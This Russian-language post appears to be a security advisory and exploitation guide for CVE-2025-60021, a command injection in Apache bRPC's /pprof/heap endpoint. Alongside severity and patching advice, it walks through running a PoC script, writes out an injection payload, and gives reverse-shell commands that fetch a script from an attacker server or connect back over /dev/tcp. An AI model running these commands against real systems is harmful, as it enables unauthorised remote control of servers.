🛑 CVE-2025-60021 — Удаленное выполнение команд в Apache bRPC

📌 Обзор

CVE-2025-60021 — это критическая уязвимость удаленного внедрения команд, обнаруженная во встроенном профилировщике кучи (/pprof/heap) Apache bRPC версий ранее 1.15.0, позволяющая неаутентифицированным злоумышленникам выполнять произвольные команды ОС. (NVD)

🔓 Детали уязвимости

❗Злоумышленники могут удаленно внедрять команды, просто манипулируя этим параметром профилирования.

🚨 Серьезность и риск

🔥 Уровень серьезности: Критический 📊 Базовая оценка CVSS v3.1: 9.8 / 10 Вектор: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H (INCIBE)

👉 Это означает, что злоумышленники могут выполнять произвольные команды удаленно без входа в систему — наихудший сценарий для открытых сервисов.

🧠 Технический разбор

🔍 Как это работает

1. Доступность профилировщика кучи: bRPC предоставляет эндпоинт профилирования (/pprof/heap), предназначенный для анализа памяти (jemalloc). (openwall.com)
2. Ошибка обработки ввода: Эндпоинт принимает параметр extra_options. Вместо санитизации, bRPC передает его напрямую в командную оболочку ОС. (openwall.com)
3. Внедрение команд: Злоумышленник формирует ввод, содержащий системные команды → сервис их выполняет. (CVE Details)

Пошаговое руководство по использованию PoC-скрипта CVE-2025-60021

Предполагается, что скрипт сохранён как CVE-2025-60021.py (хотя реальный CVE — 2025-60021 — можете переименовать). Это Python 3 скрипт для демонстрации уязвимости удаленного внедрения команд в профилировщике кучи Apache bRPC. Запускайте только на системах, которыми владеете, или при наличии явного письменного разрешения на тестирование — эксплуатация без авторизации незаконна.

Предварительные требования

1. Среда Python: Убедитесь, что установлен Python 3 (например, 3.6+). Скрипт использует встроенные модули плюс requests и argparse (стандартные или легко устанавливаемые).

2. Установка зависимостей: Если ещё не установлено, установите библиотеку requests:

   root@kitploit:~

   pip install requests
   

3. Целевая настройка: Вам необходим уязвимый сервер Apache bRPC:

   • Версия < 1.15.0.
   • Включён профилировщик кучи (проверьте конфигурацию сервера; в dev-сборках часто включён по умолчанию).
   • Доступен по сети (например, http://localhost:8060 или удалённый IP/порт). При локальном тестировании настройте уязвимый экземпляр bRPC (например, через Docker или сборку из исходников — обратитесь к документации Apache bRPC).

4. Права доступа: Запускайте с sudo только при необходимости сетевого доступа или привилегий; в остальных случаях подойдёт обычный python3.

Шаг 1: Сохраните скрипт

Скопируйте предоставленный код PoC в файл с именем CVE-2025-60021.py. При желании сделайте его исполняемым:

chmod +x CVE-2025-60021.py

Шаг 2: Поймите аргументы

Скрипт принимает два обязательных позиционных аргумента:

• target: URL уязвимого сервера bRPC (например, http://192.168.1.100:8060 или http://targets:8060 — исправьте опечатки, например, отсутствие схемы или неверный хост).
• cmd: Команда для выполнения на цели (например, "id" для информации о пользователе, или более сложная, например, "curl http://your-server/reverse-shell.sh | bash" для обратной оболочки). Используйте && или ; для объединения нескольких команд.

Шаг 3: Запустите скрипт

Откройте терминал (например, в Kali Linux, как вы используете) и выполните его с вашей целью и командой. Примеры команд:

• Базовый тест (получить информацию о системе):

  root@kitploit:~

  sudo python3 CVE-2025-60021.py http://targets:8060 "id && whoami && uname -a"
  

• Пример обратной оболочки (замените your-listener-ip и порт; предварительно запустите слушатель, например nc -lvnp 4444):

  root@kitploit:~

  sudo python3 CVE-2025-60021.py http://targets:8060 "bash -i >& /dev/tcp/your-listener-ip/4444 0>&1"
  

• Если используется HTTPS или другой порт, измените URL соответственно (например, https://target:443 — скрипт обработает, но добавьте --insecure при проблемах с сертификатами).

Шаг 4: Интерпретация вывода

Индикаторы успеха:

• Exploit likely succeeded! (200 OK)
• Возможен вывод команды в теле ответа (например, uid=0(root)..., если выполнялась id).
• Для команд без вывода (например, запись файлов или оболочки) проверьте целевой сервер (логи, процессы) или ваш слушатель.

Индикаторы неудачи (как вы видели):

• Got status code 404 - maybe not vulnerable?"
• Сообщения об ошибках, например "[E1002] Heap profiler is not enabled" означают, что эндпоинт неактивен — включите его на цели или найдите другой уязвимый экземпляр.
• Тайм-ауты или ошибки соединения: цель недоступна, блокируется брандмауэром или неверный порт.
• Если вывод не утекает, команда всё равно выполняется молча на сервере.

Шаг 5: Устранение типичных проблем

• Ошибка 404: Профилировщик кучи отключён. Включите его в конфигурации bRPC (например, --enable_heap_profiler=true) и перезапустите сервер.
• Ошибка Argparse: Забыли аргумент cmd — всегда указывайте его.
• Отсутствие вывода в теле ответа: Некоторые команды не генерируют stdout. Используйте те, которые генерируют (например, echo "test" > /tmp/proof.txt) и проверьте файл на цели.
• Привилегии: Если процесс bRPC запущен не от root, команды ограничены правами этого пользователя.
• Изменение полезной нагрузки: Если ; не работает, попробуйте && или | для объединения. URL-кодирование спецсимволов, если необходимо (скрипт обрабатывает большую часть).
• Локальное тестирование: Запустите уязвимый Docker-контейнер для bRPC, чтобы проверить без риска для реальных систем.

Шаг 6: Очистка и этические замечания

• После тестирования устраните уязвимость на цели: обновите bRPC до версии 1.15.0+ или отключите /pprof/heap.
• Удалите любые артефакты (например, оболочки или созданные файлы).
• Задокументируйте тесты для соответствия требованиям, если проводите пентест.

Если эксплуатация уязвимости на уязвимой цели (например, включён профилировщик кучи, не исправленный bRPC <1.15.0) прошла успешно, вывод в вашем терминале будет примерно таким (точные детали зависят от stdout команды и конфигурации сервера):

[*] Sending payload to: http://targets:8060/pprof/heap?extra_options=%3B+id+%26%26+whoami+%26%26+uname+-a+%23
[*] Executing command: id && whoami && uname -a
[+] Exploit likely succeeded! (200 OK)
[+] Check your listener / server logs for output

Response body (possible command output):

uid=1000(user) gid=1000(user) groups=1000(user),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),116(lpadmin),126(sambashare)
user
Linux target-host 5.10.0-21-amd64 #1 SMP Debian 5.10.162-1 (2023-01-29) x86_64 GNU/Linux

[followed by heap profile data or binary-ish output from jemalloc, like memory stats or a dump]

Ключевые признаки: статус 200 OK, и если ваша команда (например, id && whoami && uname -a) выдаёт вывод, он может появиться в теле ответа (перемешанный с мусором профилировщика). Для «тихих» команд (например, обратная оболочка) проверьте целевой сервер или ваш слушатель на наличие активности — прямого подтверждения в терминале, кроме 200, не будет. 😈

🛠 Меры по смягчению и исправлению

✅ Основное решение

• 👉 Обновите Apache bRPC до версии 1.15.0 или новее. (NVD)

🧩 Альтернативное исправление

• 🛠 Примените официальный патч вручную из репозитория Apache bRPC на GitHub (Pull Request #3101). (openwall.com)

🔒 Дополнительные меры защиты

• Брандмауэр / ACL: Заблокируйте доступ к /pprof/heap из ненадёжных сетей.
• Отключите профилирование: Выключите профилировщик кучи, если он не нужен.
• Мониторинг логов: Следите за необычной активностью профилировщика.

💡 Почему это опасно

✔ Злоумышленникам не нужны учётные данные. ✔ Работает по сети. ✔ Затрагивает все платформы, использующие уязвимую версию bRPC. ✔ Может привести к полной компрометации системы.

Бизнесы, использующие bRPC для критических сервисов (например, поиск, хранение, конвейеры машинного обучения), находятся в особой зоне риска, потому что эта ошибка превращает диагностический инструмент в вектор атаки. (Daily CyberSecurity)

🧾 Дополнительные примечания

⚠ EPSS (Прогнозирование эксплуатации): Некоторые источники указывают на низкую наблюдаемую эксплуатацию на данный момент, но лёгкость эксплуатации означает, что она может быть быстро использована в реальных атаках. (Tenable®)

📌 Классификация: CWE-77 — Некорректная нейтрализация специальных элементов в команде (Command Injection). (NVD)

📎 Ссылки

• Запись уязвимости NIST/NVD для CVE-2025-60021 (NVD)
• Детали уведомления Apache и Openwall Security (openwall.com)
• Разбор CVSS и метрик INCIBE-CERT (INCIBE)
• Обзор CVE Details (затронутые версии и рекомендации по исправлению) (CVE Details)

Если вы используете Apache bRPC в продакшене — немедленно установите патч и ограничьте доступ к диагностическим эндпоинтам, чтобы снизить риск.